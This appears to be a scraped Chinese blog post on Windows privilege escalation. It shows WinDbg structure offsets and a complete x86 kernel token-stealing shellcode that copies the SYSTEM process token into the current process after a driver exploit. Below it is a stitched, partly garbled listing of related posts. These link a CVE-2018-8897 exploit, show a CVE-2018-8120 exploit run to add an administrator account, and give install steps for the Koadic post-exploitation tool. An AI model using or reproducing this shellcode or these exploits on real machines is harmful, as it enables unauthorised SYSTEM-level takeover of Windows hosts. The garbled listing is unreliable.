windows 提权

1. 使用token

PROCESS 结构中的Token 偏移,在x86 系统中偏移0xf8

进程由双链表组成,通过_LIST_ENTRY 来链接,通过循环进程偏移0xb8 来获取所有进程偏移0xb8的地址

kd> !process 0 0 system
PROCESS 860dac78  SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 00185000  ObjectTable: 8c001bb8  HandleCount: 518.
    Image: System

kd> dt _EPROCESS 860dac78
ntdll!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x098 ProcessLock      : _EX_PUSH_LOCK
   +0x0a0 CreateTime       : _LARGE_INTEGER 0x1d3f694`30d11160
   +0x0a8 ExitTime         : _LARGE_INTEGER 0x0
   +0x0b0 RundownProtect   : _EX_RUNDOWN_REF
   +0x0b4 UniqueProcessId  : 0x00000004 Void
   +0x0b8 ActiveProcessLinks : _LIST_ENTRY [ 0x870676d8 - 0x8416f368 ]
   +0x0c0 ProcessQuotaUsage : [2] 0
   +0x0c8 ProcessQuotaPeak : [2] 0
   +0x0d0 CommitCharge     : 0xb
   +0x0d4 QuotaBlock       : 0x841631c0 _EPROCESS_QUOTA_BLOCK
   +0x0d8 CpuQuotaBlock    : (null)
   +0x0dc PeakVirtualSize  : 0x770000
   +0x0e0 VirtualSize      : 0x1f0000
   +0x0e4 SessionProcessLinks : _LIST_ENTRY [ 0x0 - 0x0 ]
   +0x0ec DebugPort        : (null)
   +0x0f0 ExceptionPortData : (null)
   +0x0f0 ExceptionPortValue : 0
   +0x0f0 ExceptionPortState : 0y000
   +0x0f4 ObjectTable      : 0x8c001bb8 _HANDLE_TABLE
   +0x0f8 Token            : _EX_FAST_REF
   +0x0fc WorkingSetPage   : 0
   +0x100 AddressCreationLock : _EX_PUSH_LOCK
   +0x104 RotateInProgress : (null)
   +0x108 ForkInProgress   : (null) 

SHELLCODE

        "\x60"      // pushad                                       ; Save register state on the Stack
        "\x64\xA1\x24\x01\x00\x00"  // mov eax, fs:[KTHREAD_OFFSET]         ; nt!_KPCR.PcrbData.CurrentThread
        "\x8B\x40\x50"          // mov eax, [eax + EPROCESS_OFFSET]     ; nt!_KTHREAD.ApcState.Process
        "\x89\xC1"          // mov ecx, eax (Current _EPROCESS structure)
        "\x8B\x98\xF8\x00\x00\x00"  // mov ebx, [eax + TOKEN_OFFSET]        ; nt!_EPROCESS.Token
        //---[Copy System PID token]
        "\xBA\x04\x00\x00\x00"      // mov edx, 4 (SYSTEM PID)          ; PID 4 -> System
        "\x8B\x80\xB8\x00\x00\x00"  // mov eax, [eax + FLINK_OFFSET] <-|        ; nt!_EPROCESS.ActiveProcessLinks.Flink
        "\x2D\xB8\x00\x00\x00"      // sub eax, FLINK_OFFSET           |
        "\x39\x90\xB4\x00\x00\x00"  // cmp [eax + PID_OFFSET], edx     |        ; nt!_EPROCESS.UniqueProcessId
        "\x75\xED"          // jnz                           ->|        ; Loop !(PID=4)
        "\x8B\x90\xF8\x00\x00\x00"  // mov edx, [eax + TOKEN_OFFSET]        ; System nt!_EPROCESS.Token
        "\x89\x91\xF8\x00\x00\x00"  // mov [ecx + TOKEN_OFFSET], edx        ; Replace Current Process token
        //---[Recover]
        "\x61"              // popad                                        ; Restore register state from the Stack
        "\x81\xC4\x8C\x07\x00\x00"  // add esp,0x78c                ; Offset of IRP on stack
        "\x8B\x3C\x24"          // mov edi,DWORD PTR [esp]          ; Restore the pointer to IRP
        "\x83\xC4\x08"          // add esp,0x8                  ; Offset of DbgPrint string
        "\x8B\x1C\x24"          // mov ebx,DWORD PTR [esp]          ; Restore the DbgPrint string
        "\x81\xC4\x34\x02\x00\x00"  // add esp,0x234                ; Target frame to return
        "\x31\xC0"          // NTSTATUS -> STATUS_SUCCESS :p
        "\x5D"              // pop ebp                                      ; Restore saved EBP
        "\xC2\x08\x00"          // ret 8                                        ; Return cleanly

原文地址:https://www.cnblogs.com/yizhanlvcha/p/9102973.html

时间: 2024-10-10 02:41:45

windows 提权的相关文章

windows 提权 cve-2018-8897

windows 提权 cve-2018-8897 影响范围:基本上是全版本 具体影响范围看详情:https://portal.msrc.microsoft.co … isory/CVE-2018-8897 http://www.o2oxy.cn/wp-content/uploads/2018/06/cve-2018-8897.rar 原文地址:https://www.cnblogs.com/liang2580/p/9157887.html

2017-2018-2 20155315《网络对抗技术》免考五:Windows提权

原理 使用metasploit使目标机成功回连之后,要进一步攻击就需要提升操作权限.对于版本较低的Windows系统,在回连的时候使用getsystem提权是可以成功的,但是对于更高的系统操作就会被拒绝.为了获得受害机器的完全权限,需要绕过限制,获取本来没有的一些权限,这些权限可以用来删除文件,查看私有信息,或者安装特殊程序,比如病毒. Metasploit有很多种后渗透方法,可以用于对目标机器的权限绕过,最终获取到系统权限. UAC 用户帐户控制(User Account Control, U

windows提权之ftp提权

windows提权之ftp提权 0,起因,由于前几天拿了一个菠菜站的webshell,但是只有iis权限,执行无法创建用户等操作,更无法对整个服务器进行控制了,于是此时便需要提权了,对于一个刚刚入门的小白来说,此刻真正意识到了提权的重要性,于是便开始学习提取相关知识,以拿下该菠菜的站点. 提权前的准备工作 1,通常来说,不同的脚本所处的权限是不一样的.这就意味着,如果该站点支持权限更高的脚本,我们可以上传该权限更高的脚本的大马,进而拿到更高的权限. asp/php 通常为匿名权限(网络服务权限)

windows提权方法总结

windwos提权方法分为两大块: 一.系统漏洞 二.第三方软件漏洞 系统信息泄露和配置不当都可能导致系统被入侵,下面总结是一些常用的windows提权方式. 1,SER-TU提权(通常是利用SERFTP服务器管理工具,首先要在安装目录下找到INI配置文件,必须具备可写入的权限) 2,RADMIN提权(大家并不陌生,我们在扫描4899空口令后,同样需要他来连接) 3,PCANYWHRER提权(也是远程客户端软件,下载安装目录的CIF文件进行破解) 4,SAM提权(SAM系统帐户,通常需要下载临时

[转帖]「白帽黑客成长记」Windows提权基本原理(上)

https://www.cnblogs.com/ichunqiu/p/10949592.html 我们通常认为配置得当的Windows是安全的,事实真的是这样吗?今天让我们跟随本文作者一起深入了解Windows操作系统的黑暗角落,看看是否能得到SYSTEM权限. 作者将使用不同版本的Windows来强调任何可能存在的命令行差异,请牢记因为不同的操作系统和版本差异会在命令行中显现,作者试图构造本教程,以便它适用于Windows提权的最普遍的方式. 注:文章篇幅较长,阅读用时约10分钟. 必要文档补

windows提权

PsExec at Process_Injector sc psexec 当前用户是jh提权之后 *at命令提权(适用于xp,2003) at 15:05 /interact cmd sc 创建服务(打开cmd命令窗口的服务) sc Create systemcmd binPath= "cmd /K start" type= own type= interact 启动服务刚才创建的服务 sc start systemcmd process_injector 列出当前的所有进程 pinj

Windows提权列表

漏洞列表 #Security Bulletin #KB #Description #Operating System CVE-2017-0213 [Windows COM Elevation of Privilege Vulnerability] (windows 10/8.1/7/2016/2010/2008) MS17-010 [KB4013389] [Windows Kernel Mode Drivers] (windows 7/2008/2003/XP) MS16-135 [KB3199

CVE-2018-8120 Microsoft Windows提权漏洞 Exp

CVE-2018-8120 Windows LPE exploit Supports both x32 and x64. Tested on: Win7 x32, Win7 x64, Win2008 x32, Win2008 R2 x32, Win2008 R2 x64. Usage CVE-2018-8120 exploit Usage: exp.exe command Example: exp.exe "net user admin admin /ad" https://githu

windows提权辅助工具koadic

项目地址:https://github.com/zerosum0x0/koadic ┌─[[email protected]]─[/sch01ar] └──? #git clone https://github.com/zerosum0x0/koadic 下载后打开并安装所需的包 ┌─[[email protected]]─[/sch01ar/koadic] └──? #pip install -r requirements.txt 安装完成后启动程序 ┌─[[email protected]]